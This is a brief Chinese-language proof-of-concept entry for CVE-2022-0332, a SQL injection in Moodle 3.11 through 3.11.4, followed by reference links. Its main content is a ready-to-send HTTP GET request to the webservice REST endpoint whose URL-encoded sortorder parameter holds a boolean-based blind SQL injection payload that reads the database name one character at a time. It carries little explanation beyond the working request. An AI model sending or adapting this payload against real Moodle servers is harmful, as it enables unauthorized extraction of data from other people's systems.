CVE-2022-0332

Moodle 3.11 至 3.11.4 - SQL注入

POC

GET /moodle-3.11.4/webservice/rest/server.php?wstoken=98f7d8003180afbd46ee160fdc05a4fc&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&sortorder=%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C4%2C1%29%29%3E104%29%20THEN%20%27%27%20ELSE%20%28SELECT%205080%20UNION%20SELECT%204100%29%20END%29%29 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0
Host: local.numanturle.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

参考

• CVE-2022-0332
• Git